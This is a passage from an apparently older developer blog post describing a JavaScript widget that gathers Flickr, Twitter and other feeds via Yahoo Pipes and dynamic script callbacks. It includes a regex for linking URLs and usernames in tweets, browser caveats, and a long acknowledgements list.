This function is almost entirely generic; only a couple of exceptions (to remove the @ from Flickr ids, apply a special class name to Flickr thumbnails, and hotlink URLs in Twitter tweets) come into play. Feel free to clone or use my Pipes for your projects; they're all published and available.

We're using some techniques from Case-Hardened JavaScript here, most notably the practice of creating a single anonymous variable and a private global to hang all the code from; references to $.f and $.s refer to functions and structure.

When we create our dynamic script tags, we're naming them with window[callback] and passing information about what their user IDs, service nicknames, and API endpoints are inside the callback name. This allows us to remove each dynamically-generated script tag from the inside, once it's run.

Filtering URLs in Tweets

To filter API output tx, we double down on our regular expressions. The first looks for http://; the second looks for an @:

var tweet = tx.replace(/http:\/\/([^\s,-]*)/gi, '<a href="http://$1" target="_blank">http://$1</a>').replace(/@([^\s,.!-]*)/gi, '@<a href="http://twitter.com/$1" target="_blank">$1</a>');

Caveats and Gotchas

• Firefox, IE7, Opera, and Safari all work ... but the iframe is giving me trouble on IE. It's ugly.
• If it hangs forever, something's busted in one of ten or eleven API endpoints we're banging on. Suggestions? Clear your cache; I might be monkeying with the script. If all else fails, bring up Firebug to track this down.
• We're leaning heavily on several different APIs here, so this thing is almost guaranteed to be flaky. Sorry about that; for best results, please be patient, wait for the page to load before trying to juice it, and keep an eye on your status bar.

Directions for Future Development

• Right, it would be great to have some indication of when it was done, and when it was stuck on something. Working on it!

Thank You:

Adam Platti, Andrew Wooldrige, Aramys Miranda, Ash Patel, Ava Hristova, Bill Scott, Bob Zoller, Bradley Horowitz, Cameron Marlowe, Chad Dickerson, Chanel Wheeler, Chip Morningstar, Chris Goffinet, Christian Heileman, Dan Theurer, Dav Glass, Dave Balmer, David Filo, David Flanagan, Doug Crockford, Dustin Diaz, Ed Ho, Eric Marcoullier, Eric Wu, Ernie Hsiung, Gina Groom, Havi Hoffman, Hedger Wang, Ian Kennedy, Ian Lamb, Isaac Schleuter, JR Conlin, Jason Schupp, Jean-Paul Cozzatti, Jenny Han, Jeremy Gillick, Jeremy Zawodny, Jimmy Byrum, John Greene, Jonathan Trevor, Julian Lecomte, Kevin Brown, Lauri Voss, Leslie Sommer, Luke Wroblewski, Matt McAlister, Matt Sweeney, Micah Laaker, Mike Lee, Nate Koechley, Nathan Arnold, Nicholas Zakas, Norm Francis, PPK, Paul Hammond, Randy Farmer, Scott Schiller, Sean Michael Imler, Steve Souders, Steven Wheeler, Tenni Theurer, Thomas Sha, Tim O'Reilly, Todd Klootz, Todd Sampson, Tom Coates, and (most of all!) Vickie Brewster.